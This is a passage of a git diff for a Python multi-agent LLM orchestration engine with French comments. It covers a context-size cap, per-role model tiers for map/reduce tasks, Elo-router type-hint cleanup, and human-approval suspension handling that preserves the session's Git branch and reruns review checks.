tier_pour_role(role, base, config) + if tier is None: + return base + base["model_tier"] = tier + base["node_tier_role"] = role + return base diff --git a/core/dag/swarm_dispatcher.py b/core/dag/swarm_dispatcher.py index ad42234..a779517 100644 --- a/core/dag/swarm_dispatcher.py +++ b/core/dag/swarm_dispatcher.py @@ -3,6 +3,7 @@ """ import logging + from core.state import StateUpdate logger = logging.getLogger(__name__) diff --git a/core/dag_runner.py b/core/dag_runner.py index c408ac0..0f4d6c6 100644 --- a/core/dag_runner.py +++ b/core/dag_runner.py @@ -19,13 +19,14 @@ import json import logging import time -from typing import Dict, TYPE_CHECKING +from typing import TYPE_CHECKING -from core.state import TaskPayload, StateUpdate -from core.healing import HealingManager from core.dag.context_compressor import ContextCompressor -from core.dag.swarm_dispatcher import try_swarm_dispatch +from core.dag.node_tier_policy import appliquer_tier_role from core.dag.priority_queue import get_initial_ready_tasks, get_task_priority +from core.dag.swarm_dispatcher import try_swarm_dispatch +from core.healing import HealingManager +from core.state import StateUpdate, TaskPayload if TYPE_CHECKING: from core.engine import Engine @@ -46,6 +47,10 @@ # absent de config.json. DEFAULT_AVG_TOKENS_PER_DAG_TASK = 3000 +# [#T295] Plafond GLOBAL sur la TAILLE TOTALE de relevant_context après toute agrégation +# 40 000 caractères ≈ 10 000 tokens — garantit que le contexte d'une tâche ne sature jamais le prompt LLM +TOTAL_CONTEXT_MAX_CHARS = 40_000 + class DAGRunner: """ @@ -63,7 +68,7 @@ def __init__(self, engine: "Engine"): self._engine = engine self._healer = HealingManager(engine) self._compressor = ContextCompressor(None) - + # Contexte de session courant pour le spawning dynamique (Phase 2) self._current_session_id = None self._current_queue = None @@ -125,16 +130,16 @@ async def execute_dag( requête. Si absent, un budget tokens-seul est construit depuis `max_session_tokens` (rétro-compat, ex. appels internes subgraph). """ - from core.runtime_db import get_connection, get_async_connection + from core.runtime_db import get_async_connection if budget is None: from core.execution_budget import ExecutionBudget budget = ExecutionBudget(self._engine.state.session_id, max_tokens=max_session_tokens) session_id = self._engine.state.session_id - tasks_by_id: Dict[str, TaskPayload] = {t.task_id: t for t in tasks if t.task_id} - tasks_status: Dict[str, str] = {t_id: "pending" for t_id in tasks_by_id} - tasks_retries: Dict[str, int] = {t_id: 0 for t_id in tasks_by_id} + tasks_by_id: dict[str, TaskPayload] = {t.task_id: t for t in tasks if t.task_id} + tasks_status: dict[str, str] = {t_id: "pending" for t_id in tasks_by_id} + tasks_retries: dict[str, int] = {t_id: 0 for t_id in tasks_by_id} has_error = False # Sauvegarder le contexte précédent (pour le support des subgraphs récursifs) @@ -165,7 +170,7 @@ async def execute_dag( "DELETE FROM dag_edges WHERE session_id = ? AND (parent_task_id = ? OR child_task_id = ?)", (session_id, t_id, t_id) ) - + # Insérer les nouvelles tâches et dépendances for t in tasks: depends_on_str = json.dumps(t.depends_on or []) @@ -182,7 +187,7 @@ async def execute_dag( """, (t.task_id, session_id, 'pending', inputs_str, depends_on_str) ) - + # Insérer les arcs (edges) de dépendances dans la table dag_edges for parent in (t.depends_on or []): if parent in tasks_by_id: # On ne crée d'arcs que vers des tâches de ce DAG @@ -194,7 +199,7 @@ async def execute_dag( """, (session_id, parent, t.task_id) ) - + # Migrer les variables de la mémoire de travail globale existantes (Phase 3) if self._engine.state.working_memory: for key, val in self._engine.state.working_memory.items(): @@ -241,7 +246,7 @@ async def execute_dag( priority = get_task_priority(payload) await queue.put((priority, t_id)) - running_jobs: Dict[str, asyncio.Task] = {} + running_jobs: dict[str, asyncio.Task] = {} self._current_running_jobs = running_jobs # Fonctions d'aide locales pour gérer la BDD et le déverrouillage réactif @@ -378,7 +383,7 @@ async def _get_newly_ready_children(parent_id: str) -> list[str]: for completed_job in done_jobs: try: finished_id, finished_update = completed_job.result() - + # Sécurité : vérifier que finished_id est bien dans running_jobs if finished_id in running_jobs: del running_jobs[finished_id] @@ -395,7 +400,7 @@ async def _get_newly_ready_children(parent_id: str) -> list[str]: if finished_update.status == "success": tasks_status[finished_id] = "success" - + # Mettre à jour en BDD outputs_str = json.dumps(finished_update.result_data) await _update_task_status_db( @@ -442,7 +447,7 @@ async def _get_newly_ready_children(parent_id: str) -> list[str]: # Le healing a fonctionné : on réinitialise l'état et on la réinsère dans la queue tasks_status[finished_id] = "pending" await _update_task_status_db(finished_id, 'pending') - + pr = tasks_by_id[finished_id].metadata.get("stage_id", 1) await queue.put((pr, finished_id)) self._new_task_event.set() @@ -513,6 +518,13 @@ async def _run_single_task( if not target_agent: raise ValueError(f"Agent cible inconnu: '{target_name}'") + # [#T295] Préservation et réinitialisation du contexte d'origine au rejeu (Self-Healing) + # Garantit qu'un rejeu de Self-Healing repart du contexte d'origine sans ré-accumuler les tentatives précédentes. + if "_original_relevant_context" not in task_payload.metadata: + task_payload.metadata["_original_relevant_context"] = task_payload.relevant_context or "" + else: + task_payload.relevant_context = task_payload.metadata["_original_relevant_context"] + # Agrégation du contexte des dépendances directes résolues # Compression intelligente : les résultats volumineux (ex: 695K chars # de code lu) sont compressés AVANT d'être injectés comme contexte, @@ -561,7 +573,7 @@ async def _run_single_task( scoped_vars[key] = json.loads(val_json) if val_json else None except Exception: scoped_vars[key] = val_json - + # Récupérer et compacter le scope global global_vars = {} with get_connection() as conn: @@ -575,7 +587,7 @@ async def _run_single_task( global_vars[key] = json.loads(val_json) if val_json else None except Exception: global_vars[key] = val_json - + compacted_global = {} for k, v in global_vars.items(): compacted_global[k] = f"[{type(v).__name__} (longueur: {len(str(v))})]" @@ -610,6 +622,18 @@ async def _run_single_task( (task_payload.relevant_context or "") + global_context ).strip() + # [#T295] Plafond GLOBAL sur la TAILLE TOTALE du contexte agrégé (40 000 chars ≈ 10K tokens) + if task_payload.relevant_context and len(task_payload.relevant_context) > TOTAL_CONTEXT_MAX_CHARS: + original_len = len(task_payload.relevant_context) + logger.warning( + f"[DAG] ⚠️ Plafond global de contexte dépassé pour la tâche '{task_id}' " + f"({original_len:,} chars > {TOTAL_CONTEXT_MAX_CHARS:,} chars max). Troncature appliquée." + ) + task_payload.relevant_context = ( + task_payload.relevant_context[:TOTAL_CONTEXT_MAX_CHARS] + + "\n\n[... Troncature appliquée par le plafond global de contexte du DAG (40k chars max) ...]" + ) + print(f"\n[DAG] -> Exécution de la tâche : {task_id} (Agent: {target_name.upper()})") print(f"[DAG] Objectif : {task_payload.task_objective}") @@ -618,7 +642,7 @@ async def _run_single_task( identical_past_task = next( ( h for h in reversed(self._engine.state.history) - if h.metadata + if h.metadata and h.metadata.get("task_objective") == task_payload.task_objective and h.metadata.get("target_agent") == target_name and h.status == "success" @@ -661,7 +685,7 @@ async def _run_single_task( ), timeout=120.0 ) - except asyncio.TimeoutError: + except TimeoutError: logger.error(f"[DAG] ⏱️ Watchdog déclenché : Timeout de 120s dépassé pour la tâche '{task_id}' (Agent: '{target_name}')") t_upd = StateUpdate( agent_name=target_name, @@ -731,71 +755,46 @@ def _compress_context(self, raw_data: str, dep_id: str) -> str: # MapReduce Node — Fan-out / Fan-in pour tâches parallèles # ────────────────────────────────────────────────────────────────── - async def execute_map_reduce( + def _construire_payloads_mapreduce( self, task_payload: TaskPayload, chunks: list[str], - reduce_prompt: str = "", - on_event=None, - ) -> StateUpdate: + reduce_prompt: str, + map_task_id_prefix: str, + parent_id: str, + ) -> tuple[list[TaskPayload], TaskPayload]: """ - Exécute un pattern MapReduce réactif sur une liste de chunks de données. - Les tâches Map et Reduce sont injectées dynamiquement dans le DAGRunner courant. - """ - from core.state import TaskPayload, StateUpdate - from core.runtime_db import get_connection - - parent_id = task_payload.task_id or "mapreduce" - target_name = task_payload.metadata.get("target_agent", "executor") - map_task_id_prefix = f"mapreduce_{parent_id}" - - session_id = self._current_session_id - if not session_id or not self._current_queue: - # Fallback en mode synchrone (V7 original) si aucun DAGRunner n'est actif - logger.warning( - f"[DAG] execute_map_reduce appelé en dehors d'un DAG actif pour '{parent_id}'. " - f"Exécution en mode synchrone dégradé." - ) - return await self._execute_map_reduce_fallback(task_payload, chunks, reduce_prompt, on_event) - - logger.info( - f"[DAG] 🗺️ MapReduce dynamique démarré pour {parent_id} : {len(chunks)} chunks → agent '{target_name}'" - ) + Construit les payloads Map (un par chunk) et le payload Reduce du DAG. - if on_event: - await on_event("mapreduce_started", { - "task_id": parent_id, - "chunks_count": len(chunks), - "target_agent": target_name, - }) + [#T245] Le tier de modèle n'est plus hérité tel quel du parent : chaque + moitié reçoit le tier de son rôle (maps en léger/gratuit, reduce sur le + tier fort) via `core/dag/node_tier_policy.py`. + """ + scope_level = task_payload.metadata.get("scope_level", 1) + meta_map = appliquer_tier_role("map", task_payload.metadata) + meta_reduce = appliquer_tier_role("reduce", task_payload.metadata) - # 1. Générer les TaskPayload pour les tâches Map et la tâche Reduce map_payloads = [] - map_ids = [] for i, chunk in enumerate(chunks): map_id = f"{map_task_id_prefix}_map_{i}" - map_ids.append(map_id) - - chunk_payload = TaskPayload( + map_payloads.append(TaskPayload( task_objective=( f"[MAP {i+1}/{len(chunks)}] {task_payload.task_objective}\n\n" f"--- CHUNK {i+1} ---\n{chunk}" ), relevant_context=task_payload.relevant_context, metadata={ - **task_payload.metadata, + **meta_map, "map_index": i, "map_total": len(chunks), "is_map_chunk": True, "scope_id": map_id, "parent_scope_id": parent_id, - "scope_level": task_payload.metadata.get("scope_level", 1), + "scope_level": scope_level, }, task_id=map_id, - ) - map_payloads.append(chunk_payload) + )) - # Créer la tâche Reduce reduce_id = f"{map_task_id_prefix}_reduce" reduce_payload = TaskPayload( task_objective=( @@ -804,17 +803,69 @@ async def execute_map_reduce( ), relevant_context=task_payload.relevant_context, metadata={ - **task_payload.metadata, + **meta_reduce, "is_reduce": True, "map_count": len(chunks), "scope_id": reduce_id, "parent_scope_id": parent_id, - "scope_level": task_payload.metadata.get("scope_level", 1), + "scope_level": scope_level, }, task_id=reduce_id, - depends_on=map_ids, + depends_on=[p.task_id for p in map_payloads], ) + return map_payloads, reduce_payload + + async def execute_map_reduce( + self, + task_payload: TaskPayload, + chunks: list[str], + reduce_prompt: str = "", + on_event=None, + ) -> StateUpdate: + """ + Exécute un pattern MapReduce réactif sur une liste de chunks de données. + Les tâches Map et Reduce sont injectées dynamiquement dans le DAGRunner courant. + """ + from core.runtime_db import get_connection + from core.state import StateUpdate + + parent_id = task_payload.task_id or "mapreduce" + target_name = task_payload.metadata.get("target_agent", "executor") + map_task_id_prefix = f"mapreduce_{parent_id}" + + session_id = self._current_session_id + if not session_id or not self._current_queue: + # Fallback en mode synchrone (V7 original) si aucun DAGRunner n'est actif + logger.warning( + f"[DAG] execute_map_reduce appelé en dehors d'un DAG actif pour '{parent_id}'. " + f"Exécution en mode synchrone dégradé." + ) + return await self._execute_map_reduce_fallback(task_payload, chunks, reduce_prompt, on_event) + + # 1. Générer les TaskPayload pour les tâches Map et la tâche Reduce + map_payloads, reduce_payload = self._construire_payloads_mapreduce( + task_payload, chunks, reduce_prompt, map_task_id_prefix, parent_id + ) + map_ids = [p.task_id for p in map_payloads] + reduce_id = reduce_payload.task_id + tier_map = map_payloads[0].metadata.get("model_tier") if map_payloads else None + tier_reduce = reduce_payload.metadata.get("model_tier") + + logger.info( + f"[DAG] 🗺️ MapReduce dynamique démarré pour {parent_id} : {len(chunks)} chunks → agent '{target_name}' " + f"(tier maps '{tier_map}' → tier reduce '{tier_reduce}')" + ) + + if on_event: + await on_event("mapreduce_started", { + "task_id": parent_id, + "chunks_count": len(chunks), + "target_agent": target_name, + "map_tier": tier_map, + "reduce_tier": tier_reduce, + }) + # 2. Enregistrer toutes les tâches et les dépendances en BDD unifiée with get_connection() as conn: # Enregistrer les tâches Map @@ -894,7 +945,7 @@ async def execute_map_reduce( for map_id in map_ids: await self._current_queue.put((priority, map_id)) logger.info(f"[DAG] [MAPREDUCE] Tâche Map éphémère poussée dans la PriorityQueue : {map_id}") - + if self._new_task_event: self._new_task_event.set() @@ -915,7 +966,7 @@ async def execute_map_reduce( "SELECT outputs_json, worker_id FROM dag_tasks WHERE session_id = ? AND task_id = ?", (session_id, reduce_id) ).fetchone() - + outputs_str, worker_id = row if row else (None, None) result_data = json.loads(outputs_str) if outputs_str else f"MapReduce {parent_id} complété." @@ -984,6 +1035,10 @@ async def _execute_map_reduce_fallback( }) # ── Phase MAP ── + # [#T245] Même politique de tier par rôle que le chemin DAG : les deux + # chemins doivent produire les mêmes payloads, sinon le fallback + # ré-introduit silencieusement l'héritage qu'on vient de retirer. + meta_map = appliquer_tier_role("map", task_payload.metadata) map_tasks = [] for i, chunk in enumerate(chunks): chunk_payload = TaskPayload( @@ -993,7 +1048,7 @@ async def _execute_map_reduce_fallback( ), relevant_context=task_payload.relevant_context, metadata={ - **task_payload.metadata, + **meta_map, "map_index": i, "map_total": len(chunks), "is_map_chunk": True, @@ -1055,7 +1110,7 @@ async def _run_map_chunk(idx: int, payload: TaskPayload): ), relevant_context=task_payload.relevant_context, metadata={ - **task_payload.metadata, + **appliquer_tier_role("reduce", task_payload.metadata), "is_reduce": True, "map_count": len(map_outputs), }, diff --git a/core/elo_core.py b/core/elo_core.py index 7d7c14d..40ad9c0 100644 --- a/core/elo_core.py +++ b/core/elo_core.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ core/elo_core.py — Cœur Elo partagé (fonctions pures, sans I/O). @@ -16,7 +15,6 @@ Toutes les fonctions sont pures et déterministes → testables sans BDD. """ -from typing import Tuple # Constantes par défaut (chaque appelant peut surcharger). DEFAULT_K = 32.0 @@ -57,7 +55,7 @@ def adaptive_k(total_matches: int, k_initial: float, k_stable: float, threshold: return k_initial if total_matches < threshold else k_stable -def reviewer_score_to_outcome(reviewer_score: float) -> Tuple[float, str]: +def reviewer_score_to_outcome(reviewer_score: float) -> tuple[float, str]: """ Convertit un score ReviewerAgent (1-10) en outcome Elo + libellé. diff --git a/core/elo_router.py b/core/elo_router.py index 7e095bb..1f38455 100644 --- a/core/elo_router.py +++ b/core/elo_router.py @@ -27,9 +27,8 @@ import threading from datetime import datetime from pathlib import Path -from typing import Dict, List, Optional -from core.elo_core import expected_score, updated_elo, reviewer_score_to_outcome +from core.elo_core import expected_score, reviewer_score_to_outcome, updated_elo logger = logging.getLogger(__name__) @@ -49,7 +48,7 @@ class EloRouter: Thread-safe : connexion SQLite thread-local + threading.Lock pour les écritures. """ - def __init__(self, db_path: Optional[str] = None, k_factor: int = K_FACTOR): + def __init__(self, db_path: str | None = None, k_factor: int = K_FACTOR): """ Args: db_path: Chemin vers moteur_runtime.db @@ -122,7 +121,7 @@ def _init_scores(self) -> None: async def update_score( self, routing_type: str, reviewer_score: float - ) -> Dict: + ) -> dict: """ Met à jour le score Elo depuis l'évaluation ReviewerAgent. @@ -191,7 +190,7 @@ def _update(): # Lecture # ────────────────────────────────────────────────────────────── - def get_best_routing(self, candidates: Optional[List[str]] = None) -> str: + def get_best_routing(self, candidates: list[str] | None = None) -> str: """ Retourne le routing_type avec le meilleur Elo parmi les candidats. @@ -217,7 +216,7 @@ def get_best_routing(self, candidates: Optional[List[str]] = None) -> str: logger.debug(f"[ELO ROUTER] Meilleur routing : {best}") return best - def get_all_scores(self) -> Dict[str, Dict]: + def get_all_scores(self) -> dict[str, dict]: """ Retourne tous les scores Elo avec statistiques. @@ -244,9 +243,9 @@ def get_all_scores(self) -> Dict[str, Dict]: async def get_recommendation( self, dominant_category: str, - ml_prediction: Optional[str] = None, + ml_prediction: str | None = None, ml_confidence: float = 0.0, - ) -> Dict: + ) -> dict: """ Recommandation combinée Elo + MLRouter. @@ -304,7 +303,7 @@ async def get_recommendation( # Singleton thread-safe # ────────────────────────────────────────────────────────────────── -_elo_instance: Optional[EloRouter] = None +_elo_instance: EloRouter | None = None _elo_lock = threading.Lock() diff --git a/core/elo_scorer.py b/core/elo_scorer.py index bcee604..b06e143 100644 --- a/core/elo_scorer.py +++ b/core/elo_scorer.py @@ -21,16 +21,15 @@ (réutilise la BDD existante du Router pour simplifier l'architecture). """ -import sqlite3 -import time import logging +import sqlite3 import threading -from typing import Optional, Dict, List, Tuple +import time logger = logging.getLogger(__name__) +from core.elo_core import adaptive_k, expected_score from core.runtime_db import get_connection, get_db_path -from core.elo_core import expected_score, adaptive_k _DB_PATH = get_db_path() @@ -64,7 +63,7 @@ def update_elo( model_name: str, domain: str, success: bool, - latency_ms: Optional[float] = None, + latency_ms: float | None = None, ) -> float: """ Met à jour le score Elo d'un modèle pour un domaine donné. @@ -175,8 +174,8 @@ def update_elo( def get_ranked_models( domain: str, - model_names: List[str], -) -> List[Tuple[str, float]]: + model_names: list[str], +) -> list[tuple[str, float]]: """ Retourne les modèles triés par score Elo décroissant pour un domaine donné. @@ -230,7 +229,7 @@ def get_ranked_models( return [(m, DEFAULT_ELO) for m in model_names] -def get_all_scores() -> Dict[str, Dict[str, dict]]: +def get_all_scores() -> dict[str, dict[str, dict]]: """ Retourne tous les scores Elo, structurés par modèle puis par domaine. @@ -274,7 +273,7 @@ def get_all_scores() -> Dict[str, Dict[str, dict]]: return {} -def get_model_profile(model_name: str) -> Dict[str, dict]: +def get_model_profile(model_name: str) -> dict[str, dict]: """ Retourne le profil complet d'un modèle (forces/faiblesses par domaine). @@ -330,7 +329,7 @@ def _rank(elo: float) -> str: return {} -def get_cost_per_successful_task() -> Dict[str, dict]: +def get_cost_per_successful_task() -> dict[str, dict]: """ [#T116] Métrique "coût par tâche réussie", agrégée par provider. @@ -352,8 +351,8 @@ def get_cost_per_successful_task() -> Dict[str, dict]: Un provider sans tâche réussie a `cost_per_success_usd: None` (pas de division par zéro) plutôt que d'être omis du résultat. """ - from core.token_tracker import load_usage from core.models_db import get_model + from core.token_tracker import load_usage try: conn = _get_connection() @@ -375,7 +374,7 @@ def get_cost_per_successful_task() -> Dict[str, dict]: logger.warning(f"[ELO] Erreur lecture coûts pour cost_per_success: {e}") costs_by_model = {} - by_provider: Dict[str, dict] = {} + by_provider: dict[str, dict] = {} for model_name in set(wins_by_model) | set(costs_by_model): model_info = get_model(model_name) or {} provider_id = model_info.get("provider_id") or "unknown" @@ -393,7 +392,7 @@ def get_cost_per_successful_task() -> Dict[str, dict]: return by_provider -def get_domain_leaderboard(domain: str, top_n: int = 10) -> List[dict]: +def get_domain_leaderboard(domain: str, top_n: int = 10) -> list[dict]: """ Retourne le classement des modèles pour un domaine spécifique. diff --git a/core/engine.py b/core/engine.py index 6ecd4c8..97faa16 100644 --- a/core/engine.py +++ b/core/engine.py @@ -22,18 +22,22 @@ pour garantir la rétrocompatibilité avec factory.py, gui_server.py, main.py, etc. """ -import logging import asyncio +import logging import os import subprocess import time -from typing import Dict, Optional -from core.state import GlobalState, TaskPayload, StateUpdate, ExecutionPhase from agents.base_agent import BaseAgent from core.dag_runner import DAGRunner +from core.hitl import ( + DECISION_APPROUVE, + DECISION_EN_ATTENTE, + DECISION_REJETE, + HITLManager, +) from core.review_loop import ReviewLoop -from core.hitl import HITLManager +from core.state import ExecutionPhase, GlobalState, StateUpdate, TaskPayload logger = logging.getLogger(__name__) @@ -69,10 +73,14 @@ class Engine: Responsable de l'orchestration, du dépilage des tâches et de la parallélisation. """ - def __init__(self, session_id: str, context_manager=None): + def __init__(self, session_id: str, context_manager=None, repo_root: str | None = None): self.state = GlobalState(session_id=session_id) - self.agents: Dict[str, BaseAgent] = {} + self.agents: dict[str, BaseAgent] = {} self.context_manager = context_manager + # [#T202] Racine du dépôt de travail explicite (ex: clone dédié + # DreamCoder). None = comportement historique (workspace découvert via + # __file__ / CWD). Utilisée par les hooks Git/YAML/doc ci-dessous. + self.repo_root = repo_root self.on_event = None # Callback asynchrone pour diffuser les évènements # Verrou asyncio pour self.state.history — protège les écritures # concurrentes quand plusieurs branches du DAG s'exécutent en parallèle. @@ -89,6 +97,11 @@ def __init__(self, session_id: str, context_manager=None): self._review_loop = ReviewLoop(self) # Human-In-The-Loop Manager (pause/resume réel) self.hitl = HITLManager() + # [#T267] Session suspendue en attente d'approbation : porte le request_id. + # Tant qu'il est renseigné, la session ne doit ni fusionner ni annuler sa + # branche éphémère — le travail approuvé y attend sa décision. + self._suspension_request_id: str | None = None + self._git_branch_courante: str | None = None # Workflow-as-Code : transitions dynamiques depuis le graphe JSON from core.workflow_executor import WorkflowExecutor self._workflow_executor = WorkflowExecutor() @@ -97,7 +110,7 @@ def register_agent(self, agent: BaseAgent) -> None: self.agents[agent.name] = agent logger.debug(f"Agent '{agent.name}' enregistré.") - async def _validate_modified_yamls(self) -> Optional[str]: + async def _validate_modified_yamls(self) -> str | None: """ Détecte via Git les fichiers YAML modifiés dans le workspace, et les valide à l'aide de l'outil validate_config_yaml de tools.system. @@ -105,23 +118,28 @@ async def _validate_modified_yamls(self) -> Optional[str]: """ from tools.system import validate_config_yaml try: - project_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) - - git_dirs = [] - if os.path.exists(os.path.join(project_root, ".git")): - git_dirs.append(project_root) + # [#T202] Racine explicite (clone DreamCoder) : ne scanner QUE ce + # dépôt, pas tout le workspace découvert via __file__. + if self.repo_root and os.path.exists(os.path.join(self.repo_root, ".git")): + git_dirs = [self.repo_root] else: - try: - for item in os.listdir(project_root): - item_path = os.path.join(project_root, item) - if os.path.isdir(item_path) and os.path.exists(os.path.join(item_path, ".git")): - git_dirs.append(item_path) - except Exception: - pass + project_root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) - moteur_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) - if moteur_dir not in git_dirs and os.path.exists(os.path.join(moteur_dir, ".git")): - git_dirs.append(moteur_dir) + git_dirs = [] + if os.path.exists(os.path.join(project_root, ".git")): + git_dirs.append(project_root) + else: + try: + for item in os.listdir(project_root): + item_path = os.path.join(project_root, item) + if os.path.isdir(item_path) and os.path.exists(os.path.join(item_path, ".git")): + git_dirs.append(item_path) + except Exception: + pass + + moteur_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + if moteur_dir not in git_dirs and os.path.exists(os.path.join(moteur_dir, ".git")): + git_dirs.append(moteur_dir) modified_files = [] for git_dir in git_dirs: @@ -149,7 +167,7 @@ async def _validate_modified_yamls(self) -> Optional[str]: logger.info(f"[ENGINE] Validation de {len(modified_files)} fichier(s) YAML modifiés...") for yaml_file in modified_files: try: - with open(yaml_file, 'r', encoding='utf-8', errors='ignore') as f: + with open(yaml_file, encoding='utf-8', errors='ignore') as f: content = f.read() if "esphome:" not in content: logger.info(f"[ENGINE] Fichier inclus détecté (pas de section 'esphome:'), validation ignorée pour: {yaml_file}") @@ -217,6 +235,11 @@ async def run(self, initial_payload: TaskPayload, starting_agent: str) -> Global # 1. Préparation de la branche Git éphémère git_branch = self._prepare_git_branch() + # [#T267] Mémorisée sur l'instance : le point d'approbation en a besoin + # pour la stocker avec la demande (la reprise doit retrouver la branche + # sur laquelle le travail attend). + self._git_branch_courante = git_branch + self._suspension_request_id = None # Démarrer la trace Langfuse if _lf: @@ -233,11 +256,27 @@ async def run(self, initial_payload: TaskPayload, starting_agent: str) -> Global # ── Hooks post-exécution ── self._run_doc_hook(has_error) - if git_branch: + # [#T267] ⚠️ POINT DANGEREUX — la finalisation Git est dans un `finally`, + # donc une session SUSPENDUE en sortirait aussi par ici. Or _finalize_git + # ne connaît que deux issues : merge (succès) ou rollback (échec). Sans + # cette garde, une session en attente d'approbation verrait sa branche + # éphémère détruite — donc le travail à approuver perdu — ou pire, + # fusionnée alors que personne n'a rien approuvé. Une session suspendue + # laisse sa branche EN PLACE : c'est la reprise qui la finalisera. + if git_branch and not self.est_suspendue(): self._finalize_git(git_branch, has_error, tasks_status, git_finalize_agent_branch) + elif git_branch: + logger.info( + f"[ENGINE] [T267] Session suspendue : branche '{git_branch}' laissée " + f"en place jusqu'à la décision ({self._suspension_request_id})." + ) return await self._finalize_session(initial_payload, has_error, _lf) + def est_suspendue(self) -> bool: + """[#T267] La session attend-elle une approbation humaine ?""" + return self._suspension_request_id is not None + async def _run_sequential_agents( self, initial_payload: TaskPayload, @@ -253,7 +292,7 @@ async def _run_sequential_agents( Returns: (has_error, tasks_status) """ - current_agent_name: Optional[str] = starting_agent + current_agent_name: str | None = starting_agent has_error = False tasks_status: dict = {} agent_handoffs = 0 @@ -370,7 +409,57 @@ async def _run_sequential_agents( if update.status == "error": logger.error(f"Erreur depuis {current_agent_name}: {update.error_message}") - has_error = True + # [#T219] Branche d'échec du Workflow-as-Code. La résolution des + # nœuds condition sait router un status="error" (out-false), mais + # aucun appelant ne l'atteignait : ce `break` sortait de la boucle + # AVANT le bloc de transitions ci-dessous, rendant toute branche + # d'erreur dessinée dans l'éditeur HMI inatteignable en prod. + # On ne dévie du fail-fast que si l'auteur du graphe a réellement + # câblé une sortie conditionnée par l'échec (require_explicit_ + # condition) : une arête « toujours active » ne suffit pas, sinon + # le moteur enchaînerait sur l'agent suivant à chaque erreur. + # Contexte transmis à la branche de récupération : sur un échec, + # l'information utile est dans error_message (result_data est le + # plus souvent None) — sans quoi l'agent cible corrigerait à + # l'aveugle. + contexte_echec = "\n".join( + part for part in ( + (update.error_message or "").strip(), + str(update.result_data).strip() if update.result_data else "", + ) if part + ) + wf_error_tasks = self._workflow_executor.resolve_next_tasks( + current_agent=current_agent_name, + status="error", + result_data=contexte_echec, + session_id=self.state.session_id, + require_explicit_condition=True, + ) + if not wf_error_tasks: + has_error = True + break + + logger.info( + f"[ENGINE] [#T219] Branche d'échec du workflow : " + f"{len(wf_error_tasks)} transition(s) injectée(s) depuis le " + f"graphe pour '{current_agent_name}' (statut error)." + ) + if self.on_event: + await self.on_event("workflow_error_branch", { + "source_agent": current_agent_name, + "targets": [ + t.metadata.get("target_agent") for t in wf_error_tasks + ], + }) + + self.state.task_queue.extend(wf_error_tasks) + dag_tasks = list(self.state.task_queue) + self.state.task_queue.clear() + new_tasks_status, has_error = await self._handle_dag_execution( + dag_tasks, initial_payload, max_session_tokens, budget, + ) + if new_tasks_status is not None: + tasks_status = new_tasks_status break # ── Détermination du prochain agent ── @@ -444,10 +533,28 @@ async def _handle_dag_execution( """ # Point d'approbation HITL avant le DAG. Les plans contenant des tâches à # risque (write_file, run_terminal, delete) déclenchent une approbation humaine. - hitl_approved = await self._check_hitl_before_dag( + decision = await self._check_hitl_before_dag( dag_tasks, initial_payload.task_objective ) - if not hitl_approved: + + if decision == DECISION_EN_ATTENTE: + # [#T267] Ni approuvé ni rejeté : le plan attend une décision humaine + # HORS de la fenêtre de session. On ne bloque pas, on ne joue pas le + # DAG, et surtout on ne remonte PAS d'erreur — une session suspendue + # n'est pas une session en échec. `execute_dag` sera appelé plus tard, + # à la reprise, avec le DAG stocké tel quel. + logger.info( + f"[ENGINE] [T267] Plan mis en attente d'approbation " + f"({self._suspension_request_id}) — la session se termine sans exécuter le DAG." + ) + if self.on_event: + await self.on_event("plan_waiting_approval", { + "request_id": self._suspension_request_id, + "task_count": len(dag_tasks), + }) + return None, False + + if decision == DECISION_REJETE: logger.warning("[ENGINE] Plan rejeté par l'utilisateur (HITL).") if self.on_event: await self.on_event("plan_rejected", { @@ -455,6 +562,33 @@ async def _handle_dag_execution( }) return None, True + return await self.executer_dag_et_controles( + dag_tasks, initial_payload.task_objective, max_session_tokens, budget, + ) + + async def executer_dag_et_controles( + self, + dag_tasks: list, + objectif: str, + max_session_tokens: int, + budget=None, + ) -> tuple: + """ + [#T253] Exécute le DAG **et tout ce qui doit le suivre** : revue post-DAG, + contrat d'acceptation, enregistrement des skills. + + Extraite de `_handle_dag_execution` parce que la reprise après approbation + humaine (#T267) appelait `execute_dag()` directement et **sautait donc tous + ces contrôles**. Mesuré en production le 11/08 sur la première chaîne + complète (`bg_6148ea67`) : le Planner avait bien émis un contrat de + 2 critères (`[PLANNER] [T253] Contrat d'acceptation : 2 critère(s)`), le DAG + a réussi et fusionné — mais **aucune ligne de revue**, donc le contrat n'a + jamais été évalué. Un plan approuvé par un humain est précisément celui qui + mérite le plus d'être vérifié : c'est le seul qui touche à des fichiers. + + Returns: + (tasks_status, has_error), comme `execute_dag`, mais après contrôles. + """ tasks_status, has_error = await self._dag_runner.execute_dag( tasks=dag_tasks, max_session_tokens=max_session_tokens, @@ -467,17 +601,36 @@ async def _handle_dag_execution( review_enabled = self._is_review_enabled() if review_enabled and self.agents.get("reviewer"): approved = await self._review_loop.run_review( - initial_objective=initial_payload.task_objective, + initial_objective=objectif, on_event=self.on_event, ) if not approved: has_error = True + elif has_error and tasks_status: + # [#T253] DAG en échec : la revue LLM est sautée (payer un avis de + # complaisance après un échec n'a pas de sens), mais le contrat + # d'acceptation, lui, doit être évalué — c'est le seul mécanisme + # capable de PROUVER que l'objectif est atteint malgré l'échec d'une + # branche, ou de confirmer qu'il ne l'est pas. Mesuré le 10/08 : + # sans cette branche, une seule tâche en erreur suffisait à sauter + # toute vérification du plan. + verdict = await self._review_loop.contrat_seul(on_event=self.on_event) + if verdict is True: + has_error = False + # Absoudre aussi les statuts d'erreur pour la finalisation Git : + # `_finalize_git` exige que TOUTES les tâches soient « success », + # sinon rollback même quand le contrat a prouvé l'objectif atteint. + for tid, statut in list(tasks_status.items()): + if statut in ("error", "blocked"): + tasks_status[tid] = "success" + logger.info( + "[ENGINE] [T253] Contrat satisfait malgré DAG en erreur — " + "session et branche Git traitées comme succès." + ) # Enregistrement des skills après un DAG réussi if not has_error: - self._record_skills_from_dag( - dag_tasks, initial_payload.task_objective - ) + self._record_skills_from_dag(dag_tasks, objectif) return tasks_status, has_error @@ -489,14 +642,28 @@ async def _finalize_session( consolidation mémoire, checkpoint final, fermeture trace Langfuse, event. Extraite de run(). """ - # Phase finale - self.state.current_phase = ExecutionPhase.FAILED if has_error else ExecutionPhase.COMPLETED + # [#T267] Une session 